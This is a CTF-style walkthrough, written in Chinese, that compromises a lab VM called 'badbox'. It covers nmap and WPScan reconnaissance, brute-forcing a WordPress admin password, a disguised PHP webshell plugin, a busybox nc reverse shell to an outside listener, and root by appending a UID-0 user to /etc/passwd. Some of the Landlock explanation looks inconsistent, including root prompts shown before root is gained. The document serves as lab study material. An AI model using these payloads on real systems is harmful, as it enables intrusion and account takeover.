

badbox

信息搜集

```
└─(root@kali)-[~]
└─# nmap -sV -sC -p- --min-rate=1000 192.168.0.104
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-07 08:56 EDT
Nmap scan report for badbox.dsz (192.168.0.104)
Host is up (0.00035s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.2 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.66 ((Unix))
|_http-generator: WordPress 7.0
|_http-title: BadBox Site
|_http-server-header: Apache/2.4.66 (Unix)
MAC Address: 08:00:27:BC:CF:94 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds
```

开放了 22 和 80 端口，80 端口跑的是 Apache，页面标题 "BadBox Site"，生成器标签显示 WordPress 7.0。

WEB探测

用 WPScan 扫一下用户：

```
└─(root@kali)-[~]
└─# wpscan --url http://192.168.0.104/ --enumerate u --no-banner

[+] URL: http://192.168.0.104/ [192.168.0.104]

Interesting Finding(s):

[+] Headers
| Interesting Entries:
|   - Server: Apache/2.4.66 (Unix)
|   - X-Powered-By: PHP/8.4.17

[+] XML-RPC seems to be enabled: http://192.168.0.104/xmlrpc.php

[+] WordPress version 7.0 identified

[+] Enumerating Users:

[i] User(s) Identified:

[+] yepian
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
```

扫到一个用户 `yepian`。接着去爆破一下密码：

```
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
  Checking Config Backups - Time: 00:00:00
<=====>
(137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - yepian / 11111111
Trying yepian / enrique Time: 00:01:21 <
(820 / 14345212) 0.00% ETA: ??:??:?? >

[!] Valid Combinations Found:
  | Username: yepian, Password: 11111111
```

`yepian / 11111111` 认证成功，`isAdmin` 为 1，站点管理员。

获取Shell

登录 WordPress 后台，成功跳转到 `/wp-admin/`，拿到管理员会话。

插件上传功能已启用，制作一个恶意插件直接获取 webshell：

```
└─(root@kali)-[~]
└─# cat > evil.php << 'EOF'
<?php
/**
 * Plugin Name: Site Health Fix
 * Version: 1.0
 */
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    system($_REQUEST['cmd']);
    echo '</pre>';
    die();
}
EOF

└─(root@kali)-[~]
└─# zip evil_plugin.zip evil.php
adding: evil.php (deflated 29%)
```

上传插件

访问 webshell，命令执行：

```
└─(root@kali)-[~]
└─# curl -s 'http://192.168.0.104/wp-content/plugins/evil_plugin-1/evil.php?cmd=id'

<pre>uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
</pre>
```

反弹个shell

```
Windows PowerShell
(root@kali)-[~]
# curl "http://192.168.0.104/wp-content/plugins/evil_plugin-1/evil.php?cmd=busybox+nc+192.168.0.102+1234+-e+/bin/bash"

Windows PowerShell
(root@kali)-[~]
# ./penelope.py -p 1234
[+] Listening for reverse shells on 0.0.0.0:1234 → 127.0.0.1 • 192.168.0.102 • 172.17.0.1 • 172.18.0.1
> 🍷 Main Menu (m) 🧠 Payloads (p) 🧹 Clear (Ctrl-L) 🛑 Quit (q/Ctrl-C)
[+] Got reverse shell from badbox-192.168.0.104-Linux-x86_64 🍷 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one basic session to handle the PTY
[+] Attempting to spawn a reverse shell on 192.168.0.102:1234
[+] Got reverse shell from badbox-192.168.0.104-Linux-x86_64 🍷 Assigned SessionID <2>
[+] Shell upgraded successfully using /usr/bin/script! 🍷
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/badbox-192.168.0.104-Linux-x86_64/2026_07-07-09_02_53-493.log 🍷

apache@badbox:~/html/wp-content/plugins/evil_plugin-1$ id
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
```

apache-->root

三件套下手

```
apache@badbox:~$ sudo -l
```

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

- #1) Respect the privacy of others.
- #2) Think before you type.
- #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

```
[sudo] password for apache:
sudo: a password is required
apache@badbox:~$ find / -user root -perm /4000 2>/dev/null
/bin/umount
/bin/mount
/bin/bbsuid
/var/tmp/bash
/usr/bin/sudo
/usr/sbin/suexec
/tmp/bash
apache@badbox:~$ getcap -r / 2>/dev/null
```

这里可以看到有两个是suid权限的bash了，但经过尝试后发现如果用这两个进行提权是一个受限制的shell，找一下原因

传入一个pspy64

```
2026/07/07 12:57:00 CMD: UID=0      PID=2618    | /usr/sbin/crond -c /etc/crontabs
-f
```

有个定时任务，但是无法查看

```
apache@badbox:/tmp$ cat /etc/crontabs/root
cat: can't open '/etc/crontabs/root': Permission denied
```

那只能从这两个bash内找原因了

/tmp/bash — nosuid 挂载导致 SUID 位无效

```
apache@badbox:~$ mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,relatime,inode64)
```

/tmp 使用 `nosuid` 选项挂载，内核会直接忽略该分区上所有文件的 SUID 位。虽然 `crond` 每分钟执行：

```
* * * * * /bin/bash -c "cp /bin/bash /tmp/bash; chmod +s /tmp/bash"
```

将 `/bin/bash` 复制到 `/tmp/bash` 并设置 SUID，但这个 SUID 位在内核层面就被拒绝了。

验证：

```
apache@badbox:~$ ls -la /tmp/bash
-rwsr-sr-x  1 root    root      789472 Jul  7 13:12 /tmp/bash

apache@badbox:~$ /tmp/bash -p -c 'id'
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache) # ←
UID 完全没变
```

/var/tmp/bash — Landlock 沙箱限制

`/var/tmp` 位于根文件系统 `/dev/sda3` 上

```
apache@badbox:/$ df -h /var/tmp
Filesystem      Size      Used Available Use% Mounted on
/dev/sda3        5.5G    646.5M      4.6G   12% /
```

没有 `nosuid` 限制，SUID 位能正常触发：

```
apache@badbox:~$ /var/tmp/bash -p -c 'echo UID=$UID EUID=$EUID'
UID=101 EUID=0  # ← EUID 确实是 0

apache@badbox:~$ /var/tmp/bash -p -c 'cat /proc/$$/status | grep CapEff'
CapEff: 000001fffffffffff
```

EUID=0，CapEff 也完整，但使用这两个 `bash` 进行 `bash -p` 后还是无法执行 `root` 权限的命令

```
apache@badbox:~$ exec /var/tmp/bash -p
bash-5.3# id
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
bash-5.3# cd /root
bash-5.3# ls
ls: .: Permission denied
```

可以看到提示符变了，但是权限不够

根本原因：Landlock LSM

系统启用了 Landlock：

```
root@badbox:~# dmesg | grep landlock
[ 0.029307] LSM: initializing lsm=lockdown,capability,landlock
[ 0.029307] landlock: Up and running.
```

```
root@badbox:~# cat /sys/kernel/security/lsm
lockdown,capability,landlock
```

Landlock 是一个 Linux 安全模块，可以在进程级别实施文件系统沙箱。即使进程拥有 EUID=0 和完整的 capabilities，Landlock 规则仍然可以拦截文件访问。Apache/PHP-FPM 进程被 Landlock 规则限制，导致：

- **读操作被拦截** — `cat`、`ls` 无法读取 `/etc/shadow`、`/root/` 等
- **元数据操作被拦截** — `chown`、`chmod` 返回 Operation not permitted
- **部分写操作却可以通过** — `bash` 重定向 `>>` 能写入 `/etc/passwd` (Landlock 按文件粒度控制)

解法：exec + bash 重定向

虽然 Landlock 拦截了大多数系统调用，但 `bash` 自身的重定向 (`>`、`>>`) 对某些文件仍可生效。通过 `exec` 启动一个干净的 `bash` 环境后：

```
apache@badbox:~$ /var/tmp/bash -p -c 'exec /var/tmp/bash -p -c "echo
ii:$1$bH057RL$EvrU4Jzh34Q/BgOFBEjI/0:0:0:xxoo,,,:/root:/bin/bash >>
/etc/passwd"'
```

```
apache@badbox:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
apache:x:101:102:apache:/var/www:/sbin/nologin
mysql:x:102:103:mysql:/var/lib/mysql:/sbin/nologin
yepian:x:1000:1000:./home/yepian:/bin/bash
ii:$1$bH057RL$EvrU4Jzh34Q/BgOFBEjI/0:0:0:xxoo,,,:/root:/bin/bash
```

成功追加 UID=0 用户，然后用 `su` 切换即可获得 root：

```
apache@badbox:~$ su ii
Password:
root@badbox:/var/www# id
uid=0(root) gid=0(root) groups=0(root)
```

Flag

```
root@badbox:~# cat root.txt /home/yepian/user.txt  
flag{root-c1c1a07c7fd6cc391464faa7625d7900}  
flag{user-20d5d73042f640282afa479ef40e63a4}
```